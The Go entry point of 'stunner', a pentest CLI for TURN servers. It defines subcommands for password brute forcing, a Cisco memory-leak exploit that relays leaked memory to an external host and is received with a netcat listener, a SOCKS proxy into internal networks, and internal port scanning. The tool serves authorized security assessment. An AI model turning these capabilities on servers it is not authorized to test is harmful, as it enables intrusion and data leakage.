-
-
Notifications
You must be signed in to change notification settings - Fork 42
/
main.go
422 lines (408 loc) · 19 KB
/
main.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
// https://hackerone.com/reports/333419
// https://www.immunit.ch/en/blog/2018/06/12/vulnerability-disclosure-cisco-meeting-server-arbitrary-tcp-relaying-2/
// https://github.com/wireshark/wireshark/blob/245086eb8382bca3c134a4fd7507c185246127e2/epan/dissectors/packet-stun.c
// https://www.rtcsec.com/2020/04/01-slack-webrtc-turn-compromise/
// STUN: https://datatracker.ietf.org/doc/html/rfc5389
// TURN: https://datatracker.ietf.org/doc/html/rfc5766
// TURN for TCP: https://datatracker.ietf.org/doc/html/rfc6062
// TURN Extension for IPv6: https://datatracker.ietf.org/doc/html/rfc6156
// https://blog.addpipe.com/troubleshooting-webrtc-connection-issues/
package main
import (
"fmt"
"net"
"net/netip"
"os"
"runtime/debug"
"strconv"
"strings"
"time"
"github.com/firefart/stunner/internal/cmd"
"github.com/sirupsen/logrus"
"github.com/urfave/cli/v2"
)
func main() {
log := logrus.New()
log.SetOutput(os.Stdout)
log.SetLevel(logrus.InfoLevel)
app := &cli.App{
Name: "stunner",
Usage: "test turn servers for misconfigurations",
Authors: []*cli.Author{
{
Name: "Christian Mehlmauer",
Email: "firefart@gmail.com",
},
},
Copyright: "This work is licensed under the Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License. To view a copy of this license, visit http://creativecommons.org/licenses/by-nc-sa/4.0/ or send a letter to Creative Commons, PO Box 1866, Mountain View, CA 94042, USA.",
Commands: []*cli.Command{
{
Name: "info",
Usage: "Prints out some info about the server",
Description: "This command tries to establish a connection and prints out some gathered information",
Flags: []cli.Flag{
&cli.BoolFlag{Name: "debug", Aliases: []string{"d"}, Value: false, Usage: "enable debug output"},
&cli.StringFlag{Name: "turnserver", Aliases: []string{"s"}, Required: true, Usage: "turn server to connect to in the format host:port"},
&cli.BoolFlag{Name: "tls", Value: false, Usage: "Use TLS/DTLS on connecting to the STUN or TURN server"},
&cli.StringFlag{Name: "protocol", Value: "udp", Usage: "protocol to use when connecting to the TURN server. Supported values: tcp and udp"},
&cli.DurationFlag{Name: "timeout", Value: 2 * time.Second, Usage: "connect timeout to turn server"},
},
Before: func(ctx *cli.Context) error {
if ctx.Bool("debug") {
log.SetLevel(logrus.DebugLevel)
}
return nil
},
Action: func(c *cli.Context) error {
turnServer := c.String("turnserver")
useTLS := c.Bool("tls")
protocol := c.String("protocol")
timeout := c.Duration("timeout")
return cmd.Info(c.Context, cmd.InfoOpts{
TurnServer: turnServer,
UseTLS: useTLS,
Protocol: protocol,
Log: log,
Timeout: timeout,
})
},
},
{
Name: "brute-transports",
Usage: "This command bruteforces all available transports",
Description: "This command bruteforces all available transports on the STUN protocol." +
"This can be used to identify interesting non default transports. Transports" +
"are basically protocols that the STUN/TURN server can speak to the internal" +
"systems. This normally only yields tcp and udp.",
Flags: []cli.Flag{
&cli.BoolFlag{Name: "debug", Aliases: []string{"d"}, Value: false, Usage: "enable debug output"},
&cli.StringFlag{Name: "turnserver", Aliases: []string{"s"}, Required: true, Usage: "turn server to connect to in the format host:port"},
&cli.BoolFlag{Name: "tls", Value: false, Usage: "Use TLS/DTLS on connecting to the STUN or TURN server"},
&cli.StringFlag{Name: "protocol", Value: "udp", Usage: "protocol to use when connecting to the TURN server. Supported values: tcp and udp"},
&cli.DurationFlag{Name: "timeout", Value: 2 * time.Second, Usage: "connect timeout to turn server"},
&cli.StringFlag{Name: "username", Aliases: []string{"u"}, Required: true, Usage: "username for the turn server"},
&cli.StringFlag{Name: "password", Aliases: []string{"p"}, Required: true, Usage: "password for the turn server"},
},
Before: func(ctx *cli.Context) error {
if ctx.Bool("debug") {
log.SetLevel(logrus.DebugLevel)
}
return nil
},
Action: func(c *cli.Context) error {
turnServer := c.String("turnserver")
useTLS := c.Bool("tls")
protocol := c.String("protocol")
timeout := c.Duration("timeout")
username := c.String("username")
password := c.String("password")
return cmd.BruteTransports(c.Context, cmd.BruteTransportOpts{
TurnServer: turnServer,
UseTLS: useTLS,
Protocol: protocol,
Log: log,
Timeout: timeout,
Username: username,
Password: password,
})
},
},
{
Name: "brute-password",
Usage: "This command tries all passwords from a given file for a username via the TURN protocol.",
Description: "This command tries all passwords from a given file for a username via the TURN protocol (UDP)." +
"This can be useful when analysing a pcap where you can see the username but not the password." +
"Please note that an offline bruteforce is much more faster in this case.",
Flags: []cli.Flag{
&cli.BoolFlag{Name: "debug", Aliases: []string{"d"}, Value: false, Usage: "enable debug output"},
&cli.StringFlag{Name: "turnserver", Aliases: []string{"s"}, Required: true, Usage: "turn server to connect to in the format host:port"},
&cli.BoolFlag{Name: "tls", Value: false, Usage: "Use TLS/DTLS on connecting to the STUN or TURN server"},
&cli.StringFlag{Name: "protocol", Value: "udp", Usage: "protocol to use when connecting to the TURN server. Supported values: tcp and udp"},
&cli.DurationFlag{Name: "timeout", Value: 5 * time.Second, Usage: "connect timeout to turn server"},
&cli.StringFlag{Name: "username", Aliases: []string{"u"}, Required: true, Usage: "username for the turn server"},
&cli.StringFlag{Name: "passfile", Aliases: []string{"p"}, Required: true, Usage: "passwordfile to use for bruteforce"},
},
Before: func(ctx *cli.Context) error {
if ctx.Bool("debug") {
log.SetLevel(logrus.DebugLevel)
}
return nil
},
Action: func(c *cli.Context) error {
turnServer := c.String("turnserver")
useTLS := c.Bool("tls")
protocol := c.String("protocol")
timeout := c.Duration("timeout")
username := c.String("username")
passwordFile := c.String("passfile")
return cmd.BruteForce(c.Context, cmd.BruteforceOpts{
TurnServer: turnServer,
UseTLS: useTLS,
Protocol: protocol,
Log: log,
Timeout: timeout,
Username: username,
Passfile: passwordFile,
})
},
},
{
Name: "memoryleak",
Usage: "This command exploits a memory information leak in some cisco software",
Description: "This command exploits a memory leak in a cisco software product." +
"We use a misconfigured server that also relays UDP connections to external hosts to" +
"receive the data. We send a TLV with an arbitrary length that is not checked server side" +
"and so the server returns a bunch of memory to the external server where the traffic is" +
"relayed to." +
"To receive the data you need to run a listener on the external server to receive the data:" +
"sudo nc -u -l -n -v -p 8080 | hexdump -C",
Flags: []cli.Flag{
&cli.BoolFlag{Name: "debug", Aliases: []string{"d"}, Value: false, Usage: "enable debug output"},
&cli.StringFlag{Name: "turnserver", Aliases: []string{"s"}, Required: true, Usage: "turn server to connect to in the format host:port"},
&cli.BoolFlag{Name: "tls", Value: false, Usage: "Use TLS/DTLS on connecting to the STUN or TURN server"},
&cli.StringFlag{Name: "protocol", Value: "udp", Usage: "protocol to use when connecting to the TURN server. Supported values: tcp and udp"},
&cli.DurationFlag{Name: "timeout", Value: 2 * time.Second, Usage: "connect timeout to turn server"},
&cli.StringFlag{Name: "username", Aliases: []string{"u"}, Required: true, Usage: "username for the turn server"},
&cli.StringFlag{Name: "password", Aliases: []string{"p"}, Required: true, Usage: "password for the turn server"},
&cli.StringFlag{Name: "target", Aliases: []string{"t"}, Required: true, Usage: "Target to leak memory to in the form host:port. Should be a public server under your control"},
&cli.UintFlag{Name: "size", Value: 35510, Usage: "Size of the buffer to leak"},
},
Before: func(ctx *cli.Context) error {
if ctx.Bool("debug") {
log.SetLevel(logrus.DebugLevel)
}
return nil
},
Action: func(c *cli.Context) error {
turnServer := c.String("turnserver")
useTLS := c.Bool("tls")
protocol := c.String("protocol")
timeout := c.Duration("timeout")
username := c.String("username")
password := c.String("password")
targetString := c.String("target")
if targetString == "" || !strings.Contains(targetString, ":") {
return fmt.Errorf("please supply a valid target")
}
targetHost, port, err := net.SplitHostPort(targetString)
if err != nil {
return fmt.Errorf("please supply a valid target: %w", err)
}
targetIP, err := netip.ParseAddr(targetHost)
if err != nil {
return fmt.Errorf("target is no valid ip address: %w", err)
}
targetPort, err := strconv.ParseUint(port, 10, 16)
if err != nil {
return fmt.Errorf("error on parsing port: %w", err)
}
size := c.Uint("size")
return cmd.MemoryLeak(c.Context, cmd.MemoryleakOpts{
TurnServer: turnServer,
UseTLS: useTLS,
Protocol: protocol,
Log: log,
Timeout: timeout,
Username: username,
Password: password,
TargetHost: targetIP,
TargetPort: uint16(targetPort),
Size: uint16(size),
})
},
},
{
Name: "range-scan",
Usage: "Scan if the TURN server allows connections to restricted network ranges",
Description: "This command tries to establish a connection via the TURN protocol to predefined" +
"network ranges. If these result in a success, the TURN implementation" +
"might not filter private and restricted ranges correctly.",
Flags: []cli.Flag{
&cli.BoolFlag{Name: "debug", Aliases: []string{"d"}, Value: false, Usage: "enable debug output"},
&cli.StringFlag{Name: "turnserver", Aliases: []string{"s"}, Required: true, Usage: "turn server to connect to in the format host:port"},
&cli.BoolFlag{Name: "tls", Value: false, Usage: "Use TLS/DTLS on connecting to the STUN or TURN server"},
&cli.StringFlag{Name: "protocol", Value: "udp", Usage: "protocol to use when connecting to the TURN server. Supported values: tcp and udp"},
&cli.DurationFlag{Name: "timeout", Value: 2 * time.Second, Usage: "connect timeout to turn server"},
&cli.StringFlag{Name: "username", Aliases: []string{"u"}, Required: true, Usage: "username for the turn server"},
&cli.StringFlag{Name: "password", Aliases: []string{"p"}, Required: true, Usage: "password for the turn server"},
},
Before: func(ctx *cli.Context) error {
if ctx.Bool("debug") {
log.SetLevel(logrus.DebugLevel)
}
return nil
},
Action: func(c *cli.Context) error {
turnServer := c.String("turnserver")
useTLS := c.Bool("tls")
protocol := c.String("protocol")
timeout := c.Duration("timeout")
username := c.String("username")
password := c.String("password")
return cmd.RangeScan(c.Context, cmd.RangeScanOpts{
TurnServer: turnServer,
UseTLS: useTLS,
Protocol: protocol,
Log: log,
Timeout: timeout,
Username: username,
Password: password,
})
},
},
{
Name: "socks",
Usage: "This starts a socks5 server and relays TCP traffic via the TURN over TCP protocol",
Description: "This starts a local socks5 server and relays only TCP traffic via the TURN over TCP protocol." +
"This way you can access internal systems via TCP on the TURN servers network if it is misconfigured.",
Flags: []cli.Flag{
&cli.BoolFlag{Name: "debug", Aliases: []string{"d"}, Value: false, Usage: "enable debug output"},
&cli.StringFlag{Name: "turnserver", Aliases: []string{"s"}, Required: true, Usage: "turn server to connect to in the format host:port"},
&cli.BoolFlag{Name: "tls", Value: false, Usage: "Use TLS/DTLS on connecting to the STUN or TURN server"},
&cli.StringFlag{Name: "protocol", Value: "udp", Usage: "protocol to use when connecting to the TURN server. Supported values: tcp and udp"},
&cli.DurationFlag{Name: "timeout", Value: 5 * time.Second, Usage: "connect timeout to turn server"},
&cli.StringFlag{Name: "username", Aliases: []string{"u"}, Required: true, Usage: "username for the turn server"},
&cli.StringFlag{Name: "password", Aliases: []string{"p"}, Required: true, Usage: "password for the turn server"},
&cli.StringFlag{Name: "listen", Aliases: []string{"l"}, Value: "127.0.0.1:1080", Usage: "Address and port to listen on"},
&cli.BoolFlag{Name: "drop-public", Aliases: []string{"x"}, Value: true, Usage: "Drop requests to public IPs. This is handy if the target can not connect to the internet and your browser want's to check TLS certificates via the connection."},
},
Before: func(ctx *cli.Context) error {
if ctx.Bool("debug") {
log.SetLevel(logrus.DebugLevel)
}
return nil
},
Action: func(c *cli.Context) error {
turnServer := c.String("turnserver")
useTLS := c.Bool("tls")
protocol := c.String("protocol")
timeout := c.Duration("timeout")
username := c.String("username")
password := c.String("password")
listen := c.String("listen")
dropPublic := c.Bool("drop-public")
return cmd.Socks(c.Context, cmd.SocksOpts{
TurnServer: turnServer,
UseTLS: useTLS,
Protocol: protocol,
Log: log,
Timeout: timeout,
Username: username,
Password: password,
Listen: listen,
DropPublic: dropPublic,
})
},
},
{
Name: "tcp-scanner",
Usage: "Scans private IP ranges for snmp and dns ports",
Description: "This command scans internal IPv4 ranges for http servers with the given ports.",
Flags: []cli.Flag{
&cli.BoolFlag{Name: "debug", Aliases: []string{"d"}, Value: false, Usage: "enable debug output"},
&cli.StringFlag{Name: "turnserver", Aliases: []string{"s"}, Required: true, Usage: "turn server to connect to in the format host:port"},
&cli.BoolFlag{Name: "tls", Value: false, Usage: "Use TLS/DTLS on connecting to the STUN or TURN server"},
&cli.StringFlag{Name: "protocol", Value: "udp", Usage: "protocol to use when connecting to the TURN server. Supported values: tcp and udp"},
&cli.DurationFlag{Name: "timeout", Value: 5 * time.Second, Usage: "connect timeout to turn server"},
&cli.StringFlag{Name: "username", Aliases: []string{"u"}, Required: true, Usage: "username for the turn server"},
&cli.StringFlag{Name: "password", Aliases: []string{"p"}, Required: true, Usage: "password for the turn server"},
&cli.StringFlag{Name: "ports", Value: "80,443,8080,8081", Usage: "Ports to check"},
&cli.StringSliceFlag{Name: "ip", Usage: "Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format."},
},
Before: func(ctx *cli.Context) error {
if ctx.Bool("debug") {
log.SetLevel(logrus.DebugLevel)
}
return nil
},
Action: func(c *cli.Context) error {
turnServer := c.String("turnserver")
useTLS := c.Bool("tls")
protocol := c.String("protocol")
timeout := c.Duration("timeout")
username := c.String("username")
password := c.String("password")
portsRaw := c.String("ports")
ports := strings.Split(portsRaw, ",")
ips := c.StringSlice("ip")
return cmd.TCPScanner(c.Context, cmd.TCPScannerOpts{
TurnServer: turnServer,
UseTLS: useTLS,
Protocol: protocol,
Log: log,
Timeout: timeout,
Username: username,
Password: password,
Ports: ports,
IPs: ips,
})
},
},
{
Name: "udp-scanner",
Usage: "Scans private IP ranges for snmp and dns",
Description: "This command scans internal IPv4 ranges for open SNMP ports with the given" +
"community string and for open DNS ports.",
Flags: []cli.Flag{
&cli.BoolFlag{Name: "debug", Aliases: []string{"d"}, Value: false, Usage: "enable debug output"},
&cli.StringFlag{Name: "turnserver", Aliases: []string{"s"}, Required: true, Usage: "turn server to connect to in the format host:port"},
&cli.BoolFlag{Name: "tls", Value: false, Usage: "Use TLS/DTLS on connecting to the STUN or TURN server"},
&cli.StringFlag{Name: "protocol", Value: "udp", Usage: "protocol to use when connecting to the TURN server. Supported values: tcp and udp"},
&cli.DurationFlag{Name: "timeout", Value: 5 * time.Second, Usage: "connect timeout to turn server"},
&cli.StringFlag{Name: "username", Aliases: []string{"u"}, Required: true, Usage: "username for the turn server"},
&cli.StringFlag{Name: "password", Aliases: []string{"p"}, Required: true, Usage: "password for the turn server"},
&cli.StringFlag{Name: "community-string", Value: "public", Usage: "SNMP community string to use for scanning"},
&cli.StringFlag{Name: "domain", Required: true, Usage: "domain name to resolve on internal DNS servers during scanning"},
&cli.StringSliceFlag{Name: "ip", Usage: "Scan single IP instead of whole private range. If left empty all private ranges are scanned. Accepts single IPs or CIDR format."},
},
Before: func(ctx *cli.Context) error {
if ctx.Bool("debug") {
log.SetLevel(logrus.DebugLevel)
}
return nil
},
Action: func(c *cli.Context) error {
turnServer := c.String("turnserver")
useTLS := c.Bool("tls")
protocol := c.String("protocol")
timeout := c.Duration("timeout")
username := c.String("username")
password := c.String("password")
communityString := c.String("community-string")
domain := c.String("domain")
ips := c.StringSlice("ip")
return cmd.UDPScanner(c.Context, cmd.UDPScannerOpts{
TurnServer: turnServer,
UseTLS: useTLS,
Protocol: protocol,
Log: log,
Timeout: timeout,
Username: username,
Password: password,
CommunityString: communityString,
DomainName: domain,
IPs: ips,
})
},
},
{
Name: "version",
Usage: "prints the current version and build infos",
Description: "prints the current version and build infos",
Action: func(ctx *cli.Context) error {
info, ok := debug.ReadBuildInfo()
if !ok {
return fmt.Errorf("could not get buildinfo")
}
fmt.Printf("Build info:\n")
fmt.Printf("%s", info)
return nil
},
},
},
}
err := app.Run(os.Args)
if err != nil {
log.Fatal(err)
}
}